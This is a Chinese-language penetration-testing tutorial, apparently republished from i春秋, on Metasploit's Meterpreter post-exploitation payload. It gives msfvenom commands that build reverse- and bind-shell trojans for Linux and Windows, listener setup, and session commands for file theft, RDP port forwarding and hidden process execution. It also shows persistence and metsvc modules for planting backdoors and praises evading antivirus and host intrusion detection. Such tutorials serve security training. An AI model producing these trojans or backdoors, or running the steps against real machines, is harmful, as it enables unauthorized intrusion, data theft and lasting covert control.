渗透攻防工具篇-后渗透阶段的Meterpreter

文章作者  zusheng
文章来源  i春秋原创奖励计划
时间        2016年8月23日 14:38:43

前言

熟悉Metasploit的应该对Meterpreter不陌生,作为后渗透阶段的利器,其强大之处可想而知,那么本篇文章就带大家来学习一下Meterpreter,目的在于让大家了解它的常用命令和使用方法。

目录

第一节 初识Meterpreter

  • 1.1、什么是Meterpreter
  • 1.2、Meterpreter的优点


第二节 Meterpreter中常用的Shell

  • 2.1、reverse_tcp
  • 2.2、reverse_http
  • 2.3、reverse_https
  • 2.4、bind_tcp


第三节 Meterpreter的常用命令

  • 3.1、基本命令
  • 3.2、文件系统命令
  • 3.3、网络命令
  • 3.4、系统命令


第四节 后渗透攻击模块

  • 4.1、什么是后渗透攻击模块
  • 4.2、后渗透攻击模块的实现原理
  • 4.3、enum_drives


第五节 植入后门

  • 5.1、persistence后渗透攻击模块
  • 5.2、metsvc后渗透攻击模块


 

  • 第一节 初识Meterpreter


1.1、什么是Meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。


1.2、Meterpreter技术优势

Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。

 

  • 第二节 Meterpreter中常用的Shell


2.1、reverse_tcp

这是一个基于TCP的反弹shell,下面演示Linux下反弹shell,Windows道理一样不做演示。
 

  • Linux

使用下列命令生成一个Linux下反弹shell木马:
 

[Bash shell] 纯文本查看 复制代码

?

1

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f elf -o isshell



渗透攻防工具篇-后渗透阶段的Meterpreter_第1张图片 

看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上执行权限。

渗透攻防工具篇-后渗透阶段的Meterpreter_第2张图片 

然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。


渗透攻防工具篇-后渗透阶段的Meterpreter_第3张图片 

设置下地址和端口,我们就开始监听了。
渗透攻防工具篇-后渗透阶段的Meterpreter_第4张图片 

这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了。
 

  • Windows:

 

[Bash shell] 纯文本查看 复制代码

?

1

msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名



2.2、reverse_http
基于http方式的反向连接,在网速慢的情况下不稳定。

[Bash shell] 纯文本查看 复制代码

?

1

payload:/windows/meterpreter/reverse_http



2.3、reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定。

[Bash shell] 纯文本查看 复制代码

?

1

payload:/windows/meterpreter/reverse_https



2.4、bind_tcp
这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

使用下列命令生成木马:

[Bash shell] 纯文本查看 复制代码

?

1

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444  -f elf -o bindshell



同样道理加权限运行,不演示了。


渗透攻防工具篇-后渗透阶段的Meterpreter_第5张图片 

这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。

 

  • 第三节 Meterpreter的常用命令


3.1、基本命令

[Shell] 纯文本查看 复制代码

?

1

2

3

4

5

background  # 让meterpreter处于后台模式 

sessions -i index   # 与会话进行交互,index表示第一个session 

quit  # 退出会话 

shell # 获得控制台权限 

irb # 开启ruby终端



3.2、文件系统命令
 

[Shell] 纯文本查看 复制代码

?

1

2

3

4

5

6

cat # 查看文件内容 

getwd # 查看当前工作目录 

upload  # 上传文件到目标机上 

download # 下载文件到本机上 

edit # 编辑文件 

search  # 搜索文件



3.3、网络命令
 

[Shell] 纯文本查看 复制代码

?

1

2

3

4

ipconfig / ifconfig # 查看网络接口信息 

portfwd  add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444

rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码

route # 获取路由表信息



3.4、系统命令
 

[Shell] 纯文本查看 复制代码

?

1

2

3

4

5

6

7

8

ps # 查看当前活跃进程

migrate pid # 将Meterpreter会话移植到进程数位pid的进程中

execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

getpid # 获取当前进程的pid

kill pid # 杀死进程

getuid # 查看权限

sysinfo # 查看目标机系统信息,如机器名,操作系统等

shutdown # 关机



 

  • 第四节 后渗透攻击模块


4.1、什么是后渗透攻击模块

后渗透攻击模块(Post)是Metasploit v4版本中正式引入的一种新类型的组件模块,主要支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。

4.2、后渗透攻击模块的实现原理
后渗透攻击模块是通过Ruby语言编写的,目标机上可能没有Ruby解释器吧,那么后渗透攻击模块是如何通过Meterpreter会话在目标机上执行的呢。看下来步骤:

  • 后渗透攻击脚本由Meterpreter客户端解释
  • 远程调用Meterpreter服务端提供的API(Meterpreter服务端即运行在目标机上的攻击载荷)


4.3、enum_drives

这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。

渗透攻防工具篇-后渗透阶段的Meterpreter_第6张图片 

我们首先将meterpreter会话放入后台,然后搜索我们的模块。

渗透攻防工具篇-后渗透阶段的Meterpreter_第7张图片 

然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。

 

  • 第五节 植入后门


Meterpreter仅仅是在内存中驻留的Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。

5.1、persistence后渗透攻击模块

使用方法:
渗透攻防工具篇-后渗透阶段的Meterpreter_第8张图片 

-X指定启动的方式为开机自启动,-i反向连接的时间间隔

然后就是监听,等待后门连接
渗透攻防工具篇-后渗透阶段的Meterpreter_第9张图片 

5.2、metsvc后渗透攻击模块

metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:

  • metsvc.dll
  • metsvc-service.exe
  • metsvc.exe


使用方法:

渗透攻防工具篇-后渗透阶段的Meterpreter_第10张图片 

到目标机上,我们可以发现Meterpreter服务,正在开启监听并等待连接。

渗透攻防工具篇-后渗透阶段的Meterpreter_第11张图片 

你可能感兴趣的:(metasploit)